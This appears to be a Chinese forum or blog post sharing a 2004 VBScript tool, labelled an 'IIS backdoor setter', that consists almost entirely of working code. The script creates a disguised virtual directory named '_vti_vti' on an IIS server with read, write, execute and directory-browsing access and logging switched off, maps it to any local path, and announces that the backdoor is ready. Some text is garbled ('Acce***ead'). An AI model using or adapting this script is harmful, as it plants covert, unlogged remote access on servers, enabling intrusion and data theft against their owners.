IIS后门设置器

整理以前的资料时看到的，最早的iis后面控制器。

help1="IIS后门设置器 FOR WIN2000 BY 动鲨  3月3号2004 年"
help2="请输入正确的虚拟目录名称和映射的路径,格式如下"
help3="   cscript.exe iis.vbs 虚拟目录的名称  映射的路径"
help4="例如: cscript.exe iis.vbs lh e:\"

set Args = Wscript.Arguments
 if args.count < 2 then
    wscript.echo help1
    wscript.echo ""
    wscript.echo help2
    wscript.echo ""
    wscript.echo help3
    wscript.echo ""
    wscript.echo help4
    wscript.quit
 end if

strVRName=args(0) ''虚拟目录名称
strRootPath=args(1) ''虚拟目录路径

Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root")
  For each VR in checkVirtualDir
   if VR.Name="_vti_vti" Then
     foundt ="yes"
   else
     foundt= "no"
   End If
  Next

if foundt ="yes" then
  wscript.echo "发现已经创建了lhxy目录，正在设置自定义的虚拟目录"
  creatvdir
else
  wscript.echo "正在创建lhxy目录，以及自定义文件夹，请等待！"
  creatlhxy
  creatvdir
end if

wscript.echo "你创建的虚拟目录名称是"& strVRName &"，映射的文件夹是 " & strRootPath &"。"
wscript.echo "请访问 [url]http://IP/lhxy/[/url] "& strVRName &"/ 来连接后门!"
wscript.echo "恭喜!后门设置全部完成!"
sub creatlhxy()
    Set objDir=GetObject("IIS://LocalHost/W3SVC/3/Root")
       Set myDir=objDir.Create("IISWebVirtualDir","_vti_vti")
        myDir.Acce***ead=true
        myDir.DefaultDoc=mydir.DefaultDoc
        myDir.AppIsolated=0
        myDir.AccessExecute=true
        myDir.DontLog=true
        myDir.AccessSource=true
        myDir.EnableDirBrowsing=true
        myDir.setinfo
end sub
sub creatvdir()
    Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root/_vti_vti")
      Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
       VirDir.Acce***ead=true
       VirDir.Path=strRootPath
       VirDir.DefaultDoc=""
       VirDir.AccessExecute=true
       VirDir.AccessWrite=true
       VirDir.AccessSource=true
       VirDir.AppIsolated=0
       VirDir.DontLog=true
       VirDir.EnableDirBrowsing=true
       VirDir.appcreate 0
       VirDir.CreateProcessAsUser=0
       VirDir.setInfo
end sub
wscript.quit